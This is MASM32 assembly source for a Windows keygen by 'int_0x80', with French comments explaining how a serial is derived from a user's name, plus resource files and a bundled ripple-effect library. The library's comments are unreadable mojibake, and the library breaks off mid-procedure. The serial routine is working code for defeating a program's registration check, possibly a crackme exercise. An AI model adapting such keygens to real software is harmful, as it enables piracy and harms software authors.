90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
.486
.model  flat, stdcall
option  casemap :none   ; case sensitive

include keygen.inc

szFormat                       db       "%X",0
szSizeMax                      db       "Entrez moins de caractères !",0
szSizeMin                      db       "Entrez plus de caractères !",0
szCap                          db       "Keygen By int_0x80",0
szTitle                        db       "Error",0
szError                        db       "An error has occured",0

.data?
hInstance                      dd           ?
stWaveObj                      WAVE_OBJECT <?>
xWin                           dd           ?
hBitmap                        dd           ?
bitmp                          dd           ?
szName                         db   256 dup(?)
szSerial                       db   256 dup(?)
LenName                        db   256 dup(?)


.code
start:
    invoke GetModuleHandle, NULL
        MOV hInstance, EAX
    invoke DialogBoxParam, hInstance, IDD_KEYGEN, 0, ADDR DlgProc, 0
    invoke ExitProcess, EAX
;###############################################################################################################################################################
DlgProc proc hWin:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
;###############################################################################################################################################################
    local @stPs:PAINTSTRUCT,@hDc,@stRect:RECT
    local @stBmp:BITMAP
    local hMemDC:HDC
       
       
.if uMsg==WM_INITDIALOG
    invoke LoadBitmap,hInstance,1007
        MOV hBitmap,EAX
        PUSH hBitmap
    invoke _WaveInit,addr stWaveObj,hWin,hBitmap,30,0
   
.if EAX
    invoke MessageBox,hWin,addr szError,addr szTitle,MB_OK or MB_ICONSTOP
        CALL _Quit
.else
.endif

;//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

        POP hBitmap
    invoke DeleteObject,hBitmap
    invoke _WaveEffect,addr stWaveObj,1,5,4,250
   
.elseif uMsg == WM_PAINT
    invoke BeginPaint,hWin,addr @stPs
        MOV @hDc,EAX
    invoke CreateCompatibleDC,@hDc
        MOV hMemDC,EAX
    invoke SelectObject,hMemDC,hBitmap
    invoke GetClientRect,hWin,addr @stRect
    invoke BitBlt,@hDc,10,10,@stRect.right,@stRect.bottom,hMemDC,0,0,MERGECOPY
    invoke DeleteDC,hMemDC
    invoke _WaveUpdateFrame,addr stWaveObj,eax,TRUE
    invoke EndPaint,hWin,addr @stPs
        XOR EAX,EAX
        XOR ECX,ECX
        RET
       
.elseif uMsg==WM_COMMAND
             .if wParam == IDC_GENERATE
    invoke GetDlgItemText,hWin,1002,addr szName,sizeof szName
;###############################################################################################################################################################
        MOV DWORD PTR [LenName], EAX        ; Stockage de eax dans LenName
        CMP EAX, 04h                        ; On compae la taille à 4d.
        JB @MinSize                         ; On saute si inférieur, le je saute si c'est égal.
        CMP EAX, 32h                        ; Puis on la compare à 50d (50 chars max).
        JA @MaxSize                         ; On saute vers le label appelé 'szSizeMax' si supérieur.
        XOR EAX,EAX                         ; MOV eax, 0
        XOR EBX,EBX                         ; MOV ebx, 0
        XOR ECX,ECX                         ; MOV ecx, 0
        XOR EDX,EDX                         ; MOV edx, 0
;###############################################################################################################################################################
; Routine
@Routine:
        MOV AL,BYTE PTR [ecx+szName]         ; Met dans AL chaque char du name un par un à chaque fois que je boucle ( car ECX est incrémenté ligne suivante ).
        INC ECX                              ; Incrémentation de ECX pour le définir comme compteur de chars contenus dans le name.
        XOR EAX,ECX
        ADD EBX,EAX                          ; Additionne ebx à eax. eax contenant les chars du name.
        CMP ECX,DWORD PTR [LenName]          ; Compare le nombre de chars du compteur au nombre de chars du name.
        JNE @Routine                         ; Boucle si le résultat du cmp précédent n'a pas été égal à 0, c'est à dire si ecx, le compteur, n'a pas été égal au nombre de chars du nom.
        IMUL EAX,EAX,6                       ; Multiplie le char pécédemment xoré par 6.
        SHL EBX,7                            ; Multiplie ebx par 2^7.
        ADD EAX,EBX                          ; Additionne eax à ebx.
        PUSH EAX
        PUSH offset szFormat                 ; ASCII "%X"
        PUSH offset szSerial
        CALL wsprintf
;###############################################################################################################################################################
    invoke SetDlgItemText,hWin,1003,addr szSerial
        RET
@MinSize:
    invoke MessageBox,hWin,addr szSizeMin,addr szCap,MB_ICONEXCLAMATION
        RET
@MaxSize:
    invoke MessageBox,hWin,addr szSizeMax,addr szCap,MB_ICONEXCLAMATION
        RET
   
.elseif uMsg==WM_DESTROY
    invoke DeleteObject,hBitmap
    invoke PostQuitMessage,NULL
.endif

.elseif uMsg == WM_CLOSE
        CALL _Quit
    invoke EndDialog,xWin,0    
.endif

.if wParam == IDC_COPY
    invoke SendDlgItemMessage,hWin,IDC_SERIAL,EM_SETSEL,0,-1
    invoke SendDlgItemMessage,hWin,IDC_SERIAL,WM_COPY,0,0
   
.elseif wParam == IDC_EXIT
    invoke SendMessage,hWin,WM_CLOSE,0,0
.endif     
        XOR EAX,EAX
        RET
   
DlgProc endp

_Quit proc

    invoke _WaveFree,addr stWaveObj
    invoke DestroyWindow,xWin
    invoke PostQuitMessage,NULL
        RET
_Quit endp
end start



Keygen.inc :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
uselib  MACRO   libname
include    libname.inc    
includelib libname.lib
ENDM

uselib     user32
uselib     kernel32
include    windows.inc
include    comctl32.inc
include    winmm.inc
include    gdi32.inc
include    C:\masm32\macros\macros.asm
include    WaveObject.asm
includelib user32.lib
includelib kernel32.lib
includelib gdi32.lib
includelib comctl32.lib
includelib winmm.lib


; Prototype des fonctions :
DlgProc PROTO :DWORD,:DWORD,:DWORD,:DWORD


 ; Définition des constantes ici :
.const
IDD_KEYGEN                 equ 1001
IDC_NAME                   equ 1002
IDC_SERIAL                 equ 1003
IDC_GENERATE               equ 1004
IDC_COPY                   equ 1005
IDC_EXIT                   equ 1006
IDC_OK                     equ 1010
LOGO                       equ 1007
LOGO2                     equ 1008




Keygen.rc :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#define IDD_KEYGEN 1001
#define IDC_NAME 1002
#define IDC_SERIAL 1003
#define IDC_GENERATE 1004
#define IDC_COPY 1005
#define IDC_EXIT 1006
#define LOGO 1007
#define MyIcon 1013
#define LOGO2 1008

LOGO BITMAP DISCARDABLE "LOGO1.bmp"
LOGO2 BITMAP DISCARDABLE "LOGO2.bmp"
MyIcon ICON DISCARDABLE "favicon.ico"

IDD_KEYGEN DIALOGEX 0,0,262,205
CAPTION "Keygen By int_0x80"
FONT 8,"MS Sans Serif"
STYLE 0x10cc0000
EXSTYLE 0x00000000
BEGIN
    CONTROL "#1007",LOGO,"Static",0x1080020e,-7,-62,277,194,0x00000000
    CONTROL "#1008",LOGO2,"Static",0x1080020e,-7,74,277,137,0x00000000
    CONTROL "",IDC_NAME,"Edit",0x50010080,73,86,154,16,0x00000200
    CONTROL "",IDC_SERIAL,"Edit",0x50010080,73,121,154,16,0x00000200
    CONTROL "Generate",IDC_GENERATE,"Button",0x50010000,7,157,70,16,0x00000000
    CONTROL "Exit",IDC_EXIT,"Button",0x50010000,183,157,70,16,0x00000000
    CONTROL "Copy",IDC_COPY,"Button",0x50010000,96,157,70,16,0x00000000
END



WaveObject.asm :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Ë®²šÐ§¹û¹«ÓÃ×Ó³ÌÐò
; by ÂÞÔÆ±ò£¬http://asm.yeah.net£¬luoyunbin@sina.com
; V 1.0.041019 --- ³õÊŒ°æ±Ÿ
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; ÔÚÔŽŽúÂëÖÐÖ»ÐèÒª include WaveObject.asm
; È»ºó°ŽÒÔϲœÖèµ÷ÓÃŒŽ¿É£º
;********************************************************************
; 1¡¢ŽŽœšË®²š¶ÔÏó£º
;    Òª¶ÔÒ»žöް¿ÚœøÐл滭£¬Ê×ÏÈÒªŽŽœšÒ»žöË®²š¶ÔÏ󣚱Ÿº¯ÊýÉêÇëһЩ»º³åÇø£©
;    invoke _WaveInit,lpWaveObject,hWnd,hBmp,dwTime,dwType
;       lpWaveObject --> ÖžÏòÒ»žö¿ÕµÄ WAVE_OBJECT œá¹¹
;       hWnd --> Òª»æ»­Ë®²šÐ§¹ûµÄް¿Ú£¬äÖÈŸºóµÄ͌Ƭœ«»­µœŽ°¿ÚµÄ¿Í»§ÇøÖÐ
;       hBmp --> ±³Ÿ°ÍŒÆ¬£¬»æ»­µÄ·¶Î§ŽóСͬ±³Ÿ°ÍŒÆ¬ŽóС
;       dwTime --> ˢеÄʱŒäŒäžô£šºÁÃ룩£¬œšÒéÖµ£º10¡«30
;   dwType --> =0 ±íÊŸÔ²ÐÎË®²š£¬=1±íÊŸÍÖÔ²ÐÍË®²š£šÓÃÓÚÍžÊÓЧ¹û£©
;       ·µ»ØÖµ£ºeax = 0£š³É¹Š£¬¶ÔÏó±»³õÊŒ»¯£©£¬eax = 1£šÊ§°Ü£©
;********************************************************************
; 2¡¢Èç¹û _WaveInit º¯Êý·µ»Ø³É¹Š£¬Ôò¶ÔÏó±»³õÊŒ»¯£¬œ«¶ÔÏ󎫞øÏÂÁО÷ÖÖº¯Êý
;    ¿ÉÒÔʵÏÖž÷ÖÖЧ¹û£¬ÏÂÃæº¯ÊýÖÐµÄ lpWaveObject ²ÎÊýÖžÏòÔÚ _WaveInit º¯Êý
;    ÖгõÊŒ»¯µÄ WAVE_OBJECT œá¹¹
;
;    ¡ò ÔÚÖž¶šÎ»Öá°ÈÓʯͷ¡±£¬Œ€ÆðË®²š
;       invoke _WaveDropStone,lpWaveObject,dwPosX,dwPosY,dwStoneSize,dwStoneWeight
;          dwPosX,dwPosY --> ÈÓÏÂʯͷµÄλÖÃ
;          dwStoneSize --> ʯͷµÄŽóС£¬ŒŽ³õÊŒµãµÄŽóС£¬œšÒéÖµ£º0¡«5
;          dwStoneWeight --> ʯͷµÄÖØÁ¿£¬Ÿö¶šÁ˲š×îºóÀ©É¢µÄ·¶Î§ŽóС£¬œšÒéÖµ£º10¡«1000
;
;    ¡ò ×Ô¶¯ÏÔÊŸÌØÐ§
;       invoke _WaveEffect,lpWaveObject,dwEffectType,dwParam1,dwParam2,dwParam3
;          dwParam1,dwParam2,dwParam3 --> Ч¹û²ÎÊý£¬¶Ô²»Í¬µÄÌØÐ§ÀàÐͲÎÊýº¬Ò岻ͬ
;          dwEffectType --> ÌØÐ§ÀàÐÍ
;             0 --> ¹Ø±ÕÌØÐ§
;             1 --> ÏÂÓ꣬Param1£œÃÜŒ¯ËÙ¶È£š0×îÃÜ£¬ÔœŽóԜϡÊ裩£¬œšÒéÖµ£º0¡«30
;                         Param2£œ×îŽóÓêµãÖ±Ÿ¶£¬œšÒéÖµ£º0¡«5
;                         Param3£œ×îŽóÓêµãÖØÁ¿£¬œšÒéÖµ£º50¡«250
;             2 --> Æûͧ£¬Param1£œËÙ¶È£š0×îÂý£¬ÔœŽóÔœ¿ì£©£¬œšÒéÖµ£º0¡«8
;                         Param2£œŽ¬ŽóС£¬œšÒéÖµ£º0¡«4
;                         Param3£œË®²šÀ©É¢µÄ·¶Î§£¬œšÒéÖµ£º100¡«500
;             3 --> ·çÀË£¬Param1£œÃܶȣšÔœŽóÔœÃÜ£©£¬œšÒéÖµ£º50¡«300
;                         Param2£œŽóС£¬œšÒéÖµ£º2¡«5
;                         Param3£œÄÜÁ¿£¬œšÒéÖµ£º5¡«10
;
;    ¡ò ް¿Ú¿Í»§ÇøÇ¿ÖÆžüУšÓÃÓÚÔÚŽ°¿ÚµÄWM_PAINTÏûÏ¢ÖÐÇ¿ÖÆžüпͻ§¶Ë£©
;       .if     uMsg == WM_PAINT
;               invoke  BeginPaint,hWnd,addr @stPs
;               mov     @hDc,eax
;               invoke  _WaveUpdateFrame,lpWaveObject,eax,TRUE
;               invoke  EndPaint,hWnd,addr @stPs
;               xor     eax,eax
;               ret
;********************************************************************
; 3¡¢ÊÍ·ÅË®²š¶ÔÏó£º
;    Ê¹ÓÃÍê±Ïºó£¬±ØÐ뜫ˮ²š¶ÔÏóÊÍ·Å£š±Ÿº¯Êýœ«ÊÍ·ÅÉêÇëµÄ»º³åÇøÄÚŽæµÈ×ÊÔŽ£©
;       invoke  _WaveFree,lpWaveObject
;       lpWaveObject --> ÖžÏò WAVE_OBJECT œá¹¹
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; ʵÏÖÉϵÄÏžœÚ˵Ã÷£º
;
; 1¡¢ Ë®²šµÄÌØÕ÷£º
;   ¡ò À©É¢£ºÃ¿Ò»µãµÄ²š»áÀ©É¢µœÆäËÄÖܵÄλÖÃÖÐ
;   ¡ò Ë¥Œõ£ºÃ¿ŽÎÀ©É¢»áËðʧÉÙÁ¿ÄÜÁ¿£š·ñÔòË®²š»áÓÀ²»Í£Ö¹µÄÕðµŽÏÂÈ¥£©
;
; 2¡¢ ΪÁ˱£ŽæÁœžöʱ¿ÌÖеÄÄÜÁ¿·Ö²œÍŒ£¬¶ÔÏóÖжšÒå2žö»º³åÇøWave1ºÍWave2
;  £š±£ŽæÔÚlpWave1ºÍlpWave2ÖžÏòµÄ»º³åÇøÄÚ£©£¬Wave1Ϊµ±Ç°ÊýŸÝ£¬Wave2Ϊ
;   ÉÏÒ»Ö¡µÄÊýŸÝ£¬Ã¿ŽÎäÖȟʱœ«žùŸÝÉÏÃæµÄ2žöÌØÕ÷£¬ÓÉWave1µÄÊýŸÝŒÆËã³öÐÂ
;   ÄÜÁ¿·Ö±ðÍŒºó£¬±£ŽæµœWave2ÖУ¬È»ºóµ÷»»Wave1ºÍWave2£¬ÕâʱWave1ÈÔÊÇ×î
;   еÄÊýŸÝ¡£
;      ŒÆËãµÄ·œ·šÎª£¬Ä³žöµãµÄÄÜÁ¿£œµãËÄÖܵÄÉÏŽÎÄÜÁ¿µÄÆœŸùÖµ * Ë¥ŒõϵÊý
;   È¡ËÄÖܵįœŸùÖµ±íÏÖÁËÀ©Õ¹ÌØÕ÷£¬³ËÒÔË¥ŒõϵÊý±íÏÖÁËË¥ŒõÌØÕ÷¡£
;      Õⲿ·ÖŽúÂëÔÚ _WaveSpread ×Ó³ÌÐòÖÐʵÏÖ¡£
;
; 3¡¢ ¶ÔÏóÔÚ lpDIBitsSource Öб£ŽæÁËԭʌλ͌µÄÊýŸÝ£¬Ã¿ŽÎäÖȟʱ£¬ÓÉÔ­ÊŒ
;   λ͌µÄÊýŸÝžùŸÝWave1Öб£ŽæµÄÄÜÁ¿·Ö²œÊýŸÝ²úÉúеÄλ͌¡£ŽÓÊÓŸõÉÏ¿Ž£¬
;   ijžöµãµÄÄÜÁ¿ÔœŽó£šË®²šÔœŽó£©£¬Ôò¹âÏßÕÛÉä³öÔœÔ¶ŽŠµÄ³¡Ÿ°¡£
;      Ë㷚Ϊ£º¶ÔÓڵ㣚x,y£©£¬ÔÚWave1ÖÐÕÒ³öžÃµã£¬ŒÆËã³öÏàÁÚµãµÄ²šÄܲî
;  £šDxºÍDyÁœžöÊýŸÝ£©£¬ÔòÐÂλ͌ÏñËØ£šx,y£©£œÔ­ÊŒÎ»ÍŒÏñËØ£šx+Dx,y+Dy£©£¬
;   žÃËã·š±íÏÖÁËÄÜÁ¿ŽóСӰÏìÁËÏñËØÕÛÉäµÄÆ«ÒÆŽóС¡£
;      Õⲿ·ÖŽúÂëÔÚ _WaveRender ×Ó³ÌÐòÖÐʵÏÖ¡£
;
; 4¡¢ ÈÓʯͷµÄËã·šºÜºÃÀíœâ£¬ŒŽœ«Wave1ÖеÄijžöµãµÄÄÜÁ¿ÖµÖÃΪ·Ç0Öµ£¬ÊýÖµ
;   ÔœŽó£¬±íÊŸÈÓϵÄʯͷµÄÄÜÁ¿ÔœŽó¡£Ê¯Í·±ÈœÏŽó£¬Ôòœ«žÃµãËÄÖܵĵãÈ«²¿
;   ÖÃΪ·Ç0Öµ¡£
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;
;
;
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ifndef      WAVEOBJ_INC
WAVEOBJ_INC equ 1
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
F_WO_ACTIVE     equ 0001h
F_WO_NEED_UPDATE    equ 0002h
F_WO_EFFECT     equ 0004h
F_WO_ELLIPSE        equ 0008h

WAVE_OBJECT     struct
 hWnd           dd  ?
 dwFlag         dd  ?   ; Œû F_WO_xxx ×éºÏ
;********************************************************************
 hDcRender      dd  ?
 hBmpRender     dd  ?
 lpDIBitsSource     dd  ?   ; Ô­ÊŒÏñËØÊýŸÝ
 lpDIBitsRender     dd  ?   ; ÓÃÓÚÏÔÊŸµœÆÁÄ»µÄÏñËØÊýŸÝ
 lpWave1        dd  ?   ; Ë®²šÄÜÁ¿ÊýŸÝ»º³å1
 lpWave2        dd  ?   ; Ë®²šÄÜÁ¿ÊýŸÝ»º³å2
;********************************************************************
 dwBmpWidth     dd  ?
 dwBmpHeight        dd  ?
 dwDIByteWidth      dd  ?   ; = (dwBmpWidth * 3 + 3) and ~3
 dwWaveByteWidth    dd  ?   ; = dwBmpWidth * 4
 dwRandom       dd  ?
;********************************************************************
; ÌØÐ§²ÎÊý
;********************************************************************
 dwEffectType       dd  ?
 dwEffectParam1     dd  ?
 dwEffectParam2     dd  ?
 dwEffectParam3     dd  ?
;********************************************************************
; ÓÃÓÚÐÐŽ¬ÌØÐ§
;********************************************************************
 dwEff2X        dd  ?
 dwEff2Y        dd  ?
 dwEff2XAdd     dd  ?
 dwEff2YAdd     dd  ?
 dwEff2Flip     dd  ?
;********************************************************************
 stBmpInfo      BITMAPINFO <>
WAVE_OBJECT     ends
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>


        .code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Ëæ»úÊý²úÉú×Ó³ÌÐò
; ÊäÈ룺Ҫ²úÉúµÄËæ»úÊýµÄ×îŽóÖµ£¬Êä³ö£ºËæ»úÊý
; žùŸÝ£º
; 1. Êýѧ¹«Êœ Rnd=(Rnd*I+J) mod K Ñ­»·»ØŽøÉú³É K ŽÎÒÔÄÚ²»ÖØžŽµÄ
;    Î±Ëæ»úÊý£¬µ«K,I,J±ØÐëÎªËØÊý
; 2. 2^(2n-1)-1 ±Ø¶šÎªËØÊý£šŒŽ2µÄÆæÊýŽÎ·œŒõ1£©
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WaveRandom16   proc    _lpWaveObject

        mov ebx,_lpWaveObject
        assume  ebx:ptr WAVE_OBJECT
        push    edx
        push    ecx
        mov eax,[ebx].dwRandom
        mov ecx,32768-1 ;2^15-1
        mul ecx
        add eax,2048-1  ;2^11-1
        adc edx,0
        mov ecx,2147483647  ;2^31-1
        div ecx
        mov eax,[ebx].dwRandom
        mov [ebx].dwRandom,edx
        and eax,0000ffffh
        pop ecx
        pop edx
        ret

_WaveRandom16   endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WaveRandom proc    uses ebx ecx edx _lpWaveObject,_dwMax

        invoke  _WaveRandom16,_lpWaveObject
        mov edx,eax
        invoke  _WaveRandom16,_lpWaveObject
        shl eax,16
        or  ax,dx
        mov ecx,_dwMax
        or  ecx,ecx
        jz  @F
        xor edx,edx
        div ecx
        mov eax,edx
        @@:
        ret

_WaveRandom endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; ²šÄÜÀ©É¢
; Ëã·š£º
; Wave2(x,y) = (Wave1(x+1,y)+Wave1(x-1,y)+Wave1(x,y+1)+Wave1(x,y-1))/2-Wave2(x,y)
; Wave2(x,y) = Wave2(x,y) - Wave2(x,y) >> 5
; xchg Wave1,Wave2
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WaveSpread proc    _lpWaveObject

        pushad
        mov ebx,_lpWaveObject
        assume  ebx:ptr WAVE_OBJECT
;********************************************************************
        test    [ebx].dwFlag,F_WO_ACTIVE
        jz  _Ret

        mov esi,[ebx].lpWave1
        mov edi,[ebx].lpWave2
        mov ecx,[ebx].dwBmpWidth

        mov eax,[ebx].dwBmpHeight
        dec eax
        mul ecx
;********************************************************************
; ebx = width
; ecx = i£¬eax = max
;********************************************************************
        .while  ecx < eax
            push    eax
            .if [ebx].dwFlag & F_WO_ELLIPSE
                mov edx,[esi+ecx*4-1*4]
                add edx,[esi+ecx*4+1*4]
                add edx,[esi+ecx*4-2*4]
                add edx,[esi+ecx*4+2*4]
                lea edx,[edx+edx*2]
                add edx,[esi+ecx*4-3*4]
                add edx,[esi+ecx*4-3*4]
                add edx,[esi+ecx*4+3*4]
                add edx,[esi+ecx*4+3*4]

                lea eax,[esi+ecx*4]
                sub eax,[ebx].dwWaveByteWidth
                mov eax,[eax]
                shl eax,3
                add edx,eax

                lea eax,[esi+ecx*4]
                add eax,[ebx].dwWaveByteWidth
                mov eax,[eax]
                shl eax,3
                add edx,eax

                sar edx,4
                sub edx,[edi+ecx*4]

                mov eax,edx
                sar eax,5
                sub edx,eax

                mov [edi+ecx*4],edx
            .else
                mov edx,[esi+ecx*4-1*4]
                add edx,[esi+ecx*4+1*4]

                lea eax,[esi+ecx*4]
                sub eax,[ebx].dwWaveByteWidth
                add edx,[eax]

                lea eax,[esi+ecx*4]
                add eax,[ebx].dwWaveByteWidth
                add edx,[eax]

                sar edx,1
                sub edx,[edi+ecx*4]

                mov eax,edx
                sar eax,5
                sub edx,eax

                mov [edi+ecx*4],edx
            .endif
            pop eax
            inc ecx
        .endw

        mov [ebx].lpWave1,edi
        mov [ebx].lpWave2,esi
_Ret:
;********************************************************************
        assume  ebx:nothing
        popad
        ret

_WaveSpread endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; esi -> edi, ecx = line width
; return = (4*Pixel(x,y)+3*Pixel(x-1,y)+3*Pixel(x+1,y)+3*Pixel(x,y+1)+3*Pixel(x,y-1))/16
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WaveGetPixel:
        movzx   eax,byte ptr [esi]
        shl eax,2
        movzx   edx,byte ptr [esi+3]
        lea edx,[edx+2*edx]
        add eax,edx
        movzx   edx,byte ptr [esi-3]
        lea edx,[edx+2*edx]
        add eax,edx
        movzx   edx,byte ptr [esi+ecx]
        lea edx,[edx+2*edx]
        add eax,edx
        mov edx,esi
        sub edx,ecx
        movzx   edx,byte ptr [edx]
        lea edx,[edx+2*edx]
        add eax,edx
        shr eax,4
        mov [edi],al
        inc esi
        inc edi
        ret
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; äÖÈŸ×Ó³ÌÐò£¬œ«ÐµÄÖ¡ÊýŸÝäÖÈŸµœ lpDIBitsRender ÖÐ
; Ëã·š£º
; posx = Wave1(x-1,y)-Wave1(x+1,y)+x
; posy = Wave1(x,y-1)-Wave1(x,y+1)+y
; SourceBmp(x,y) = DestBmp(posx,posy)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_WaveRender proc    _lpWaveObject
        local   @dwPosX,@dwPosY,@dwPtrSource,@dwFlag

        pushad
        xor eax,eax
        mov @dwFlag,eax
        mov ebx,_lpWaveObject
        assume  ebx:ptr WAVE_OBJECT

        test    [ebx].dwFlag,F_WO_ACTIVE
        jz  _Ret

        or  [ebx].dwFlag,F_WO_NEED_UPDATE
        mov esi,[ebx].lpWave1
        mov edi,[ebx].dwWaveByteWidth   ; edi = ÏñËØÖžÕë

        xor ecx,ecx
        inc ecx     ; ecx=i  --  i=1; i<height; i++
_Loop1:
        xor edx,edx     ; edx=j  --  j=0; j<width; j++
_Loop2:
        push    edx
;********************************************************************
; PosY=i+ÏñËØÉÏ1ÄÜÁ¿-ÏñËØÏÂ1ÄÜÁ¿
; PosX=j+ÏñËØ×ó1ÄÜÁ¿-ÏñËØÓÒ1ÄÜÁ¿
;********************************************************************
        mov eax,edi
        sub eax,[ebx].dwWaveByteWidth
        mov eax,[esi+eax]
        mov @dwPosY,eax

        mov eax,[ebx].dwWaveByteWidth
        lea eax,[edi+eax]
        mov eax,[esi+eax]
        sub @dwPosY,eax
        add @dwPosY,ecx

        mov eax,[esi+edi-4]
        sub eax,[esi+edi+4]
        add eax,edx         ;@dwPosX = eax
        mov @dwPosX,eax

        cmp eax,0
        jl  _Continue
        cmp eax,[ebx].dwBmpWidth
        jge _Continue
        mov eax,@dwPosY
        cmp eax,0
        jl  _Continue
        cmp eax,[ebx].dwBmpHeight
        jge _Continue
;********************************************************************
; ptrSource = dwPosY * dwDIByteWidth + dwPosX * 3
; ptrDest = i * dwDIByteWidth + j * 3
;********************************************************************
        mov eax,@dwPosX
        lea eax,[eax+eax*2]
        mov @dwPosX,eax
        push    edx
        mov eax,@dwPosY
        mul [ebx].dwDIByteWidth
        add eax,@dwPosX
        mov @dwPtrSource,eax

        mov eax,ecx
        mul [ebx].dwDIByteWidth
        pop edx
        lea edx,[edx+edx*2]
        add eax,edx         ;@dwPtrDest = eax
;********************************************************************
; äÖÈŸÏñËØ [ptrDest] = Ô­ÊŒÏñËØ [ptrSource]
;********************************************************************
        pushad
